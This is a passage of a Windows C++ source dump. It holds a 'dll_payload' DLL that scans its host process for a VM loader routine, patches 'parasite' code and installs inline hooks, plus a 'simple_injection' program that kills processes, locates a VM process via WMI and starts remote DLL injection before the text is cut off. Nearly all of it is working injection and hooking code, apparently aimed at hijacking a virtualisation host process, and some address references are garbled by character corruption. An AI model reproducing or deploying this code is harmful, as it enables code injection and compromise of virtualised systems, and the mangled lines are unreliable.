ULONG len = 0;
ULONG lenp = 0;
uhde64 hde;
size_t para_size = (size_t)((PBYTE)¶site_end - (PBYTE)¶site);
while (len < para_size)
{
lenp = len;
len += hde.disasm((PBYTE)parasite + len);
if (hde.gethdes()->opcode == 0xFF && hde.gethdes()->modrm == 0xB4 && hde.gethdes()->sib == 0x24)
{
*addr1 = (lenp + 3);
}
else if (hde.gethdes()->opcode == 0x89 && hde.gethdes()->modrm == 0x84 && hde.gethdes()->sib == 0x24)
{
*addr2 = (lenp + 4);
break;
}
}
return;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
HMODULE hmod;
PBYTE vm_loader_func;
const BYTE vmloader_pat[] = { 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x6C, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x48, 0x89, 0x7C, 0x24, 0x20, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x48, 0x83, 0xEC };
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
::GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_PIN, (LPCTSTR)hModule, &hmod);
rsp_hack_adj = locate_return_pos();
get_return_adj_addr(¶site_adj_addr1, ¶site_adj_addr2);
if (parasite_adj_addr1 && parasite_adj_addr2 && rsp_hack_adj)
{
vm_loader_func = (PBYTE)::GetModuleHandleA(0);
while (true) // don't care, just crash if pattern not found
{
if (!memcmp(vm_loader_func, vmloader_pat, sizeof(vmloader_pat)))
{
ULONG len = 0;
ULONG lenp = 0;
uhde64 hde;
bool found = 0;
while (len < 200)
{
lenp = len;
len += hde.disasm(vm_loader_func + len);
if (hde.gethdes()->opcode == 0xFF && hde.gethdes()->modrm >= 0xD0 && hde.gethdes()->modrm <= 0xD7)
{
found = 1;
break;
}
else if (hde.gethdes()->opcode == 0xC3 || hde.gethdes()->opcode == 0xE8 || hde.gethdes()->opcode == 0xE9)
break;
}
if (found)
break;
}
vm_loader_func++;
}
classVM_LOADER.sethook(vm_loader_func, hook_vm_loader, (PVOID *)&R_hook_vm_loader);
}
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
================================================
FILE: dll_payload/dll_payload/hde/hde64.cpp
================================================
/*
* Hacker Disassembler Engine 64 C
* Copyright (c) 2008-2009, Vyacheslav Patkov.
* All rights reserved.
*
*/
#include "stdint.h"
#include <string.h>
#include "hde64.h"
#include "table64.h"
unsigned int hde64_disasm(const void *code, hde64s *hs)
{
uint8_t x, c, *p = (uint8_t *)code, cflags, opcode, pref = 0;
uint8_t *ht = hde64_table, m_mod, m_reg, m_rm, disp_size = 0;
uint8_t op64 = 0;
memset(hs,0,sizeof(hde64s));
for (x = 16; x; x--)
switch (c = *p++) {
case 0xf3:
hs->p_rep = c;
pref |= PRE_F3;
break;
case 0xf2:
hs->p_rep = c;
pref |= PRE_F2;
break;
case 0xf0:
hs->p_lock = c;
pref |= PRE_LOCK;
break;
case 0x26: case 0x2e: case 0x36:
case 0x3e: case 0x64: case 0x65:
hs->p_seg = c;
pref |= PRE_SEG;
break;
case 0x66:
hs->p_66 = c;
pref |= PRE_66;
break;
case 0x67:
hs->p_67 = c;
pref |= PRE_67;
break;
default:
goto pref_done;
}
pref_done:
hs->flags = (uint32_t)pref << 23;
if (!pref)
pref |= PRE_NONE;
if ((c & 0xf0) == 0x40) {
hs->flags |= F_PREFIX_REX;
if ((hs->rex_w = (c & 0xf) >> 3) && (*p & 0xf8) == 0xb8)
op64++;
hs->rex_r = (c & 7) >> 2;
hs->rex_x = (c & 3) >> 1;
hs->rex_b = c & 1;
if (((c = *p++) & 0xf0) == 0x40) {
opcode = c;
goto error_opcode;
}
}
if ((hs->opcode = c) == 0x0f) {
hs->opcode2 = c = *p++;
ht += DELTA_OPCODES;
} else if (c >= 0xa0 && c <= 0xa3) {
op64++;
if (pref & PRE_67)
pref |= PRE_66;
else
pref &= ~PRE_66;
}
opcode = c;
cflags = ht[ht[opcode / 4] + (opcode % 4)];
if (cflags == C_ERROR) {
error_opcode:
hs->flags |= F_ERROR | F_ERROR_OPCODE;
cflags = 0;
if ((opcode & -3) == 0x24)
cflags++;
}
x = 0;
if (cflags & C_GROUP) {
uint16_t t;
t = *(uint16_t *)(ht + (cflags & 0x7f));
cflags = (uint8_t)t;
x = (uint8_t)(t >> 8);
}
if (hs->opcode2) {
ht = hde64_table + DELTA_PREFIXES;
if (ht[ht[opcode / 4] + (opcode % 4)] & pref)
hs->flags |= F_ERROR | F_ERROR_OPCODE;
}
if (cflags & C_MODRM) {
hs->flags |= F_MODRM;
hs->modrm = c = *p++;
hs->modrm_mod = m_mod = c >> 6;
hs->modrm_rm = m_rm = c & 7;
hs->modrm_reg = m_reg = (c & 0x3f) >> 3;
if (x && ((x << m_reg) & 0x80))
hs->flags |= F_ERROR | F_ERROR_OPCODE;
if (!hs->opcode2 && opcode >= 0xd9 && opcode <= 0xdf) {
uint8_t t = opcode - 0xd9;
if (m_mod == 3) {
ht = hde64_table + DELTA_FPU_MODRM + t*8;
t = ht[m_reg] << m_rm;
} else {
ht = hde64_table + DELTA_FPU_REG;
t = ht[t] << m_reg;
}
if (t & 0x80)
hs->flags |= F_ERROR | F_ERROR_OPCODE;
}
if (pref & PRE_LOCK) {
if (m_mod == 3) {
hs->flags |= F_ERROR | F_ERROR_LOCK;
} else {
uint8_t *table_end, op = opcode;
if (hs->opcode2) {
ht = hde64_table + DELTA_OP2_LOCK_OK;
table_end = ht + DELTA_OP_ONLY_MEM - DELTA_OP2_LOCK_OK;
} else {
ht = hde64_table + DELTA_OP_LOCK_OK;
table_end = ht + DELTA_OP2_LOCK_OK - DELTA_OP_LOCK_OK;
op &= -2;
}
for (; ht != table_end; ht++)
if (*ht++ == op) {
if (!((*ht << m_reg) & 0x80))
goto no_lock_error;
else
break;
}
hs->flags |= F_ERROR | F_ERROR_LOCK;
no_lock_error:
;
}
}
if (hs->opcode2) {
switch (opcode) {
case 0x20: case 0x22:
m_mod = 3;
if (m_reg > 4 || m_reg == 1)
goto error_operand;
else
goto no_error_operand;
case 0x21: case 0x23:
m_mod = 3;
if (m_reg == 4 || m_reg == 5)
goto error_operand;
else
goto no_error_operand;
}
} else {
switch (opcode) {
case 0x8c:
if (m_reg > 5)
goto error_operand;
else
goto no_error_operand;
case 0x8e:
if (m_reg == 1 || m_reg > 5)
goto error_operand;
else
goto no_error_operand;
}
}
if (m_mod == 3) {
uint8_t *table_end;
if (hs->opcode2) {
ht = hde64_table + DELTA_OP2_ONLY_MEM;
table_end = ht + sizeof(hde64_table) - DELTA_OP2_ONLY_MEM;
} else {
ht = hde64_table + DELTA_OP_ONLY_MEM;
table_end = ht + DELTA_OP2_ONLY_MEM - DELTA_OP_ONLY_MEM;
}
for (; ht != table_end; ht += 2)
if (*ht++ == opcode) {
if (*ht++ & pref && !((*ht << m_reg) & 0x80))
goto error_operand;
else
break;
}
goto no_error_operand;
} else if (hs->opcode2) {
switch (opcode) {
case 0x50: case 0xd7: case 0xf7:
if (pref & (PRE_NONE | PRE_66))
goto error_operand;
break;
case 0xd6:
if (pref & (PRE_F2 | PRE_F3))
goto error_operand;
break;
case 0xc5:
goto error_operand;
}
goto no_error_operand;
} else
goto no_error_operand;
error_operand:
hs->flags |= F_ERROR | F_ERROR_OPERAND;
no_error_operand:
c = *p++;
if (m_reg <= 1) {
if (opcode == 0xf6)
cflags |= C_IMM8;
else if (opcode == 0xf7)
cflags |= C_IMM_P66;
}
switch (m_mod) {
case 0:
if (pref & PRE_67) {
if (m_rm == 6)
disp_size = 2;
} else
if (m_rm == 5)
disp_size = 4;
break;
case 1:
disp_size = 1;
break;
case 2:
disp_size = 2;
if (!(pref & PRE_67))
disp_size <<= 1;
}
if (m_mod != 3 && m_rm == 4) {
hs->flags |= F_SIB;
p++;
hs->sib = c;
hs->sib_scale = c >> 6;
hs->sib_index = (c & 0x3f) >> 3;
if ((hs->sib_base = c & 7) == 5 && !(m_mod & 1))
disp_size = 4;
}
p--;
switch (disp_size) {
case 1:
hs->flags |= F_DISP8;
hs->disp.disp8 = *p;
break;
case 2:
hs->flags |= F_DISP16;
hs->disp.disp16 = *(uint16_t *)p;
break;
case 4:
hs->flags |= F_DISP32;
hs->disp.disp32 = *(uint32_t *)p;
}
p += disp_size;
} else if (pref & PRE_LOCK)
hs->flags |= F_ERROR | F_ERROR_LOCK;
if (cflags & C_IMM_P66) {
if (cflags & C_REL32) {
if (pref & PRE_66) {
hs->flags |= F_IMM16 | F_RELATIVE;
hs->imm.imm16 = *(uint16_t *)p;
p += 2;
goto disasm_done;
}
goto rel32_ok;
}
if (op64) {
hs->flags |= F_IMM64;
hs->imm.imm64 = *(uint64_t *)p;
p += 8;
} else if (!(pref & PRE_66)) {
hs->flags |= F_IMM32;
hs->imm.imm32 = *(uint32_t *)p;
p += 4;
} else
goto imm16_ok;
}
if (cflags & C_IMM16) {
imm16_ok:
hs->flags |= F_IMM16;
hs->imm.imm16 = *(uint16_t *)p;
p += 2;
}
if (cflags & C_IMM8) {
hs->flags |= F_IMM8;
hs->imm.imm8 = *p++;
}
if (cflags & C_REL32) {
rel32_ok:
hs->flags |= F_IMM32 | F_RELATIVE;
hs->imm.imm32 = *(uint32_t *)p;
p += 4;
} else if (cflags & C_REL8) {
hs->flags |= F_IMM8 | F_RELATIVE;
hs->imm.imm8 = *p++;
}
disasm_done:
if ((hs->len = (uint8_t)(p-(uint8_t *)code)) > 15) {
hs->flags |= F_ERROR | F_ERROR_LENGTH;
hs->len = 15;
}
return (unsigned int)hs->len;
}
================================================
FILE: dll_payload/dll_payload/hde/hde64.h
================================================
/*
* Hacker Disassembler Engine 64
* Copyright (c) 2008-2009, Vyacheslav Patkov.
* All rights reserved.
*
* hde64.h: C/C++ header file
*
*/
#ifndef _HDE64_H_
#define _HDE64_H_
/* stdint.h - C99 standard header
* http://en.wikipedia.org/wiki/stdint.h
*
* if your compiler doesn't contain "stdint.h" header (for
* example, Microsoft Visual C++), you can download file:
* http://www.azillionmonkeys.com/qed/pstdint.h
* and change next line to:
* #include "pstdint.h"
*/
#include <stdint.h>
#define F_MODRM 0x00000001
#define F_SIB 0x00000002
#define F_IMM8 0x00000004
#define F_IMM16 0x00000008
#define F_IMM32 0x00000010
#define F_IMM64 0x00000020
#define F_DISP8 0x00000040
#define F_DISP16 0x00000080
#define F_DISP32 0x00000100
#define F_RELATIVE 0x00000200
#define F_ERROR 0x00001000
#define F_ERROR_OPCODE 0x00002000
#define F_ERROR_LENGTH 0x00004000
#define F_ERROR_LOCK 0x00008000
#define F_ERROR_OPERAND 0x00010000
#define F_PREFIX_REPNZ 0x01000000
#define F_PREFIX_REPX 0x02000000
#define F_PREFIX_REP 0x03000000
#define F_PREFIX_66 0x04000000
#define F_PREFIX_67 0x08000000
#define F_PREFIX_LOCK 0x10000000
#define F_PREFIX_SEG 0x20000000
#define F_PREFIX_REX 0x40000000
#define F_PREFIX_ANY 0x7f000000
#define PREFIX_SEGMENT_CS 0x2e
#define PREFIX_SEGMENT_SS 0x36
#define PREFIX_SEGMENT_DS 0x3e
#define PREFIX_SEGMENT_ES 0x26
#define PREFIX_SEGMENT_FS 0x64
#define PREFIX_SEGMENT_GS 0x65
#define PREFIX_LOCK 0xf0
#define PREFIX_REPNZ 0xf2
#define PREFIX_REPX 0xf3
#define PREFIX_OPERAND_SIZE 0x66
#define PREFIX_ADDRESS_SIZE 0x67
#pragma pack(push,1)
typedef struct {
uint8_t len;
uint8_t p_rep;
uint8_t p_lock;
uint8_t p_seg;
uint8_t p_66;
uint8_t p_67;
uint8_t rex;
uint8_t rex_w;
uint8_t rex_r;
uint8_t rex_x;
uint8_t rex_b;
uint8_t opcode;
uint8_t opcode2;
uint8_t modrm;
uint8_t modrm_mod;
uint8_t modrm_reg;
uint8_t modrm_rm;
uint8_t sib;
uint8_t sib_scale;
uint8_t sib_index;
uint8_t sib_base;
union {
uint8_t imm8;
uint16_t imm16;
uint32_t imm32;
uint64_t imm64;
} imm;
union {
uint8_t disp8;
uint16_t disp16;
uint32_t disp32;
} disp;
uint32_t flags;
} hde64s;
#pragma pack(pop)
unsigned int hde64_disasm(const void *code, hde64s *hs);
#endif /* _HDE64_H_ */
================================================
FILE: dll_payload/dll_payload/hde/table64.h
================================================
/*
* Hacker Disassembler Engine 64 C
* Copyright (c) 2008-2009, Vyacheslav Patkov.
* All rights reserved.
*
*/
#define C_NONE 0x00
#define C_MODRM 0x01
#define C_IMM8 0x02
#define C_IMM16 0x04
#define C_IMM_P66 0x10
#define C_REL8 0x20
#define C_REL32 0x40
#define C_GROUP 0x80
#define C_ERROR 0xff
#define PRE_ANY 0x00
#define PRE_NONE 0x01
#define PRE_F2 0x02
#define PRE_F3 0x04
#define PRE_66 0x08
#define PRE_67 0x10
#define PRE_LOCK 0x20
#define PRE_SEG 0x40
#define PRE_ALL 0xff
#define DELTA_OPCODES 0x4a
#define DELTA_FPU_REG 0xfd
#define DELTA_FPU_MODRM 0x104
#define DELTA_PREFIXES 0x13c
#define DELTA_OP_LOCK_OK 0x1ae
#define DELTA_OP2_LOCK_OK 0x1c6
#define DELTA_OP_ONLY_MEM 0x1d8
#define DELTA_OP2_ONLY_MEM 0x1e7
unsigned char hde64_table[] = {
0xa5,0xaa,0xa5,0xb8,0xa5,0xaa,0xa5,0xaa,0xa5,0xb8,0xa5,0xb8,0xa5,0xb8,0xa5,
0xb8,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xac,0xc0,0xcc,0xc0,0xa1,0xa1,
0xa1,0xa1,0xb1,0xa5,0xa5,0xa6,0xc0,0xc0,0xd7,0xda,0xe0,0xc0,0xe4,0xc0,0xea,
0xea,0xe0,0xe0,0x98,0xc8,0xee,0xf1,0xa5,0xd3,0xa5,0xa5,0xa1,0xea,0x9e,0xc0,
0xc0,0xc2,0xc0,0xe6,0x03,0x7f,0x11,0x7f,0x01,0x7f,0x01,0x3f,0x01,0x01,0xab,
0x8b,0x90,0x64,0x5b,0x5b,0x5b,0x5b,0x5b,0x92,0x5b,0x5b,0x76,0x90,0x92,0x92,
0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x6a,0x73,0x90,
0x5b,0x52,0x52,0x52,0x52,0x5b,0x5b,0x5b,0x5b,0x77,0x7c,0x77,0x85,0x5b,0x5b,
0x70,0x5b,0x7a,0xaf,0x76,0x76,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,
0x5b,0x5b,0x86,0x01,0x03,0x01,0x04,0x03,0xd5,0x03,0xd5,0x03,0xcc,0x01,0xbc,
0x03,0xf0,0x03,0x03,0x04,0x00,0x50,0x50,0x50,0x50,0xff,0x20,0x20,0x20,0x20,
0x01,0x01,0x01,0x01,0xc4,0x02,0x10,0xff,0xff,0xff,0x01,0x00,0x03,0x11,0xff,
0x03,0xc4,0xc6,0xc8,0x02,0x10,0x00,0xff,0xcc,0x01,0x01,0x01,0x00,0x00,0x00,
0x00,0x01,0x01,0x03,0x01,0xff,0xff,0xc0,0xc2,0x10,0x11,0x02,0x03,0x01,0x01,
0x01,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0x00,0x00,0xff,0xff,0xff,0xff,0x10,
0x10,0x10,0x10,0x02,0x10,0x00,0x00,0xc6,0xc8,0x02,0x02,0x02,0x02,0x06,0x00,
0x04,0x00,0x02,0xff,0x00,0xc0,0xc2,0x01,0x01,0x03,0x03,0x03,0xca,0x40,0x00,
0x0a,0x00,0x04,0x00,0x00,0x00,0x00,0x7f,0x00,0x33,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0xff,0xbf,0xff,0xff,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0xff,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff,
0x00,0x00,0x00,0xbf,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7f,0x00,0x00,
0xff,0x40,0x40,0x40,0x40,0x41,0x49,0x40,0x40,0x40,0x40,0x4c,0x42,0x40,0x40,
0x40,0x40,0x40,0x40,0x40,0x40,0x4f,0x44,0x53,0x40,0x40,0x40,0x44,0x57,0x43,
0x5c,0x40,0x60,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,
0x40,0x40,0x64,0x66,0x6e,0x6b,0x40,0x40,0x6a,0x46,0x40,0x40,0x44,0x46,0x40,
0x40,0x5b,0x44,0x40,0x40,0x00,0x00,0x00,0x00,0x06,0x06,0x06,0x06,0x01,0x06,
0x06,0x02,0x06,0x06,0x00,0x06,0x00,0x0a,0x0a,0x00,0x00,0x00,0x02,0x07,0x07,
0x06,0x02,0x0d,0x06,0x06,0x06,0x0e,0x05,0x05,0x02,0x02,0x00,0x00,0x04,0x04,
0x04,0x04,0x05,0x06,0x06,0x06,0x00,0x00,0x00,0x0e,0x00,0x00,0x08,0x00,0x10,
0x00,0x18,0x00,0x20,0x00,0x28,0x00,0x30,0x00,0x80,0x01,0x82,0x01,0x86,0x00,
0xf6,0xcf,0xfe,0x3f,0xab,0x00,0xb0,0x00,0xb1,0x00,0xb3,0x00,0xba,0xf8,0xbb,
0x00,0xc0,0x00,0xc1,0x00,0xc7,0xbf,0x62,0xff,0x00,0x8d,0xff,0x00,0xc4,0xff,
0x00,0xc5,0xff,0x00,0xff,0xff,0xeb,0x01,0xff,0x0e,0x12,0x08,0x00,0x13,0x09,
0x00,0x16,0x08,0x00,0x17,0x09,0x00,0x2b,0x09,0x00,0xae,0xff,0x07,0xb2,0xff,
0x00,0xb4,0xff,0x00,0xb5,0xff,0x00,0xc3,0x01,0x00,0xc7,0xff,0xbf,0xe7,0x08,
0x00,0xf0,0x02,0x00
};
================================================
FILE: dll_payload/dll_payload/hook.cpp
================================================
#include "stdafx.h"
#include "stdlib.h"
#include "stdio.h"
#include "uhde.h"
#include "hook.h"
uhde64 hde;
BYTE op_ret[]={ 0xC3 };
BYTE op_jmp[]={ 0xE9 };
BYTE op_push[]={ 0x68 };
BYTE op_movddesp[]={ 0xC7, 0x44, 0x24, 0x04 };
bool hook::sethook(PVOID hookaddr,PVOID hookingcode, PVOID *restore_code_ptr)
{
if (hook_active)
return 0;
len=0;
while (len<hooksize)
{
len += hde.disasm(((PBYTE)hookaddr)+len);
if (hde.gethdes()->opcode>=0x70 && hde.gethdes()->opcode<=0x7F)
return 0;
if (hde.gethdes()->opcode==0x0F && hde.gethdes()->modrm>=0x80 && hde.gethdes()->modrm<=0x8F)
return 0;
if (hde.gethdes()->opcode==0xE8 || hde.gethdes()->opcode==0xE9)
return 0;
if (hde.gethdes()->opcode==0xCC)
return 0;
}
if (len > 32)
return 0;
restore_buffer=(PVOID)::VirtualAllocEx(GetCurrentProcess(), 0, len+hooksize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!restore_buffer)
return 0;
__try {
RtlCopyMemory(restore_buffer, hookaddr, len);
#ifdef _WIN64
ULONG p1,p2;
p1=(ULONG)LODWORD((dptr)((PCHAR)hookaddr+len));
p2=(ULONG)HIDWORD((dptr)hookaddr);
RtlCopyMemory((PVOID)((PBYTE)restore_buffer+len), &op_push, sizeof(op_push));
RtlCopyMemory((PVOID)((PBYTE)restore_buffer+len+sizeof(op_push)), &p1, sizeof(__int32));
RtlCopyMemory((PVOID)((PBYTE)restore_buffer+len+sizeof(op_push)+sizeof(__int32)), &op_movddesp, sizeof(op_movddesp));
RtlCopyMemory((PVOID)((PBYTE)restore_buffer+len+sizeof(op_push)+sizeof(__int32)+sizeof(op_movddesp)), &p2, sizeof(__int32));
RtlCopyMemory((PVOID)((PBYTE)restore_buffer+len+sizeof(op_push)+sizeof(__int32)+sizeof(op_movddesp)+sizeof(__int32)), &op_ret, sizeof(op_ret));
#else
RtlCopyMemory((PVOID)((PBYTE)coderestore+len), &opcode_jmp, sizeof(opcode_jmp));
BYTE *jmpto=(PBYTE)((PBYTE)codetohook-(BYTE *)coderestore-hooksize);
RtlCopyMemory((PVOID)((PBYTE)coderestore+len+1), &jmpto, sizeof(__int32));
#endif
}__except (EXCEPTION_EXECUTE_HANDLER) {return 0;}
DWORD oldprot;
::VirtualProtect(hookaddr, hooksize, PAGE_EXECUTE_READWRITE, &oldprot);
__try {
#ifdef _WIN64
ULONG p1,p2;
p1=(ULONG)LODWORD((dptr)hookingcode);
p2=(ULONG)HIDWORD((dptr)hookingcode);
RtlCopyMemory((PVOID)((PBYTE)hookaddr),&op_push,sizeof(op_push));
RtlCopyMemory((PVOID)((PBYTE)hookaddr+sizeof(op_push)), &p1, sizeof(__int32));
RtlCopyMemory((PVOID)((PBYTE)hookaddr+sizeof(op_push)+sizeof(__int32)),&op_movddesp, sizeof(op_movddesp));
RtlCopyMemory((PVOID)((PBYTE)hookaddr+sizeof(op_push)+sizeof(__int32)+sizeof(op_movddesp)), &p2, sizeof(__int32));
RtlCopyMemory((PVOID)((PBYTE)hookaddr+sizeof(op_push)+sizeof(__int32)+sizeof(op_movddesp)+sizeof(__int32)), &op_ret, sizeof(op_ret));
#else
RtlCopyMemory((PVOID)((PBYTE)codetohook), &opcode_jmp, sizeof(opcode_jmp));
PBYTE jmptorel=(PBYTE)((PBYTE)hookcode-(PBYTE)codetohook-hooksize);
RtlCopyMemory((PVOID)((PBYTE)codetohook+1), &jmptorel,4);
#endif
}__except (EXCEPTION_EXECUTE_HANDLER) {return 0;}
::VirtualProtect(hookaddr, hooksize, oldprot, &oldprot);
*restore_code_ptr=(PVOID)restore_buffer;
hook_active=1;
return 1;
}
================================================
FILE: dll_payload/dll_payload/hook.h
================================================
#define LODWORD(_qw) (unsigned long)(_qw)
#define HIDWORD(_qw) (unsigned long)((_qw)>>32)
#ifdef _WIN64
#define dptr unsigned __int64
#else
#define dptr unsigned __int32
#endif
#ifdef _WIN64
#define hooksize 14 // jmp addr
#else
#define hooksize 5 // jmp addr
#endif
class hook{
public:
bool sethook(void *,void *, void **);
void *restore_buffer;
private:
unsigned long len;
bool hook_active;
};
================================================
FILE: dll_payload/dll_payload/stdafx.cpp
================================================
// stdafx.cpp : source file that includes just the standard includes
// dll_payload.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file
================================================
FILE: dll_payload/dll_payload/stdafx.h
================================================
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#pragma once
#include "targetver.h"
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
// Windows Header Files:
#include <windows.h>
// TODO: reference additional headers your program requires here
================================================
FILE: dll_payload/dll_payload/targetver.h
================================================
#pragma once
// Including SDKDDKVer.h defines the highest available Windows platform.
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
#include <SDKDDKVer.h>
================================================
FILE: dll_payload/dll_payload/uhde.cpp
================================================
#include "stdafx.h"
#include "uhde.h"
unsigned long uhde64::disasm(const void *code)
{
return hde64_disasm(code,&hde64s_tmp);
}
hde64s *uhde64::gethdes()
{
return &hde64s_tmp;
}
================================================
FILE: dll_payload/dll_payload/uhde.h
================================================
#ifndef _UHDE_H_
#define _UHDE_H_
#include "hde\\hde64.h"
class uhde64{
public:
unsigned long disasm(const void *);
hde64s *gethdes();
private:
hde64s hde64s_tmp;
};
#endif /* _UHDE_H_ */
================================================
FILE: dll_payload/dll_payload.sln
================================================
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 14
VisualStudioVersion = 14.0.24720.0
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "dll_payload", "dll_payload\dll_payload.vcxproj", "{C430A90E-331B-46B0-83DE-6697BF409895}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{C430A90E-331B-46B0-83DE-6697BF409895}.Debug|x64.ActiveCfg = Debug|x64
{C430A90E-331B-46B0-83DE-6697BF409895}.Debug|x64.Build.0 = Debug|x64
{C430A90E-331B-46B0-83DE-6697BF409895}.Debug|x86.ActiveCfg = Debug|Win32
{C430A90E-331B-46B0-83DE-6697BF409895}.Debug|x86.Build.0 = Debug|Win32
{C430A90E-331B-46B0-83DE-6697BF409895}.Release|x64.ActiveCfg = Release|x64
{C430A90E-331B-46B0-83DE-6697BF409895}.Release|x64.Build.0 = Release|x64
{C430A90E-331B-46B0-83DE-6697BF409895}.Release|x86.ActiveCfg = Release|Win32
{C430A90E-331B-46B0-83DE-6697BF409895}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
================================================
FILE: simple_injection/simple_injection/simple_injection.cpp
================================================
// simple_injection.cpp : Defines the entry point for the console application.
//
// build: Use Multi-Byte Character Set, x64
//
//
#include "stdafx.h"
#include <windows.h>
#include <tlhelp32.h>
#include <wbemidl.h>
#pragma comment(lib, "wbemuuid.lib")
void try_kill_all_processes_by_name(TCHAR *proc_name)
{
HANDLE hProcessSnap;
PROCESSENTRY32 pe32;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap != INVALID_HANDLE_VALUE)
{
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hProcessSnap, &pe32))
{
do
{
if (!_tcsnicmp(pe32.szExeFile, proc_name, MAX_PATH))
{
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pe32.th32ProcessID);
if (hProcess)
{
BOOL result = TerminateProcess(hProcess, -1);
CloseHandle(hProcess);
}
}
} while (Process32Next(hProcessSnap, &pe32));
}
else
printf("Process32First failed\r\n");
}
else
printf("CreateToolhelp32Snapshot failed\r\n");
}
void get_process_cmdline(DWORD pid, wchar_t *cmdline, DWORD cmdline_size)
{
HRESULT hr = 0;
IWbemLocator *WbemLocator = NULL;
IWbemServices *WbemServices = NULL;
IEnumWbemClassObject *EnumWbem = NULL;
//initializate the Windows security
hr = CoInitializeEx(0, COINIT_MULTITHREADED);
hr = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL);
hr = CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID *)&WbemLocator);
//connect to the WMI
hr = WbemLocator->ConnectServer(L"ROOT\\CIMV2", NULL, NULL, NULL, 0, NULL, NULL, &WbemServices);
//Run the WQL Query
hr = WbemServices->ExecQuery(L"WQL", L"SELECT ProcessId,CommandLine FROM Win32_Process", WBEM_FLAG_FORWARD_ONLY, NULL, &EnumWbem);
// Iterate over the enumerator
if (EnumWbem != NULL) {
IWbemClassObject *result = NULL;
ULONG returnedCount = 0;
while ((hr = EnumWbem->Next(WBEM_INFINITE, 1, &result, &returnedCount)) == S_OK)
{
VARIANT ProcessId;
VARIANT CommandLine;
// access the properties
hr = result->Get(L"ProcessId", 0, &ProcessId, 0, 0);
if (hr == S_OK)
{
hr = result->Get(L"CommandLine", 0, &CommandLine, 0, 0);
if (ProcessId.uintVal == pid && hr == S_OK && SysStringLen(CommandLine.bstrVal) != 0)
{
printf("cmdline: %ws\r\n", CommandLine.bstrVal);
wcscpy_s(cmdline, cmdline_size, CommandLine.bstrVal);
result->Release();
break;
}
}
result->Release();
}
}
// Release the resources
EnumWbem->Release();
WbemServices->Release();
WbemLocator->Release();
CoUninitialize();
}
DWORD get_pid_by_process_name(TCHAR *proc_name, wchar_t *cmdline, DWORD cmdline_size, TCHAR *vm_dummy_name)
{
HANDLE hProcessSnap;
PROCESSENTRY32 pe32;
DWORD pidy=0;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap != INVALID_HANDLE_VALUE)
{
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hProcessSnap, &pe32))
{
do
{
if (!_tcsnicmp(pe32.szExeFile, proc_name, MAX_PATH))
{
wchar_t vm_dummy_name_wcs[255];
SIZE_T dummy_size;
vm_dummy_name_wcs[0] = 0;
vm_dummy_name_wcs[1] = 0;
mbstowcs_s(&dummy_size, vm_dummy_name_wcs, 255, vm_dummy_name, 255);
get_process_cmdline(pe32.th32ProcessID, cmdline, cmdline_size);
__try
{
if (wcswcs(cmdline, vm_dummy_name_wcs))
{
pidy=pe32.th32ProcessID;
break;
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{ }
}
} while (Process32Next(hProcessSnap, &pe32));
}
else
printf("Process32First failed\r\n");
CloseHandle(hProcessSnap);
}
else
printf("CreateToolhelp32Snapshot failed\r\n");
return pidy;
}
bool inject_dll(DWORD pid, TCHAR *dll_path)
{
bool ret = 0;
HANDLE hProcess, hThread;
hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid);
if (hProcess)
{
SIZE_T dllpath_len= (_tcslen(dll_path) + 1) * sizeof(TCHAR);
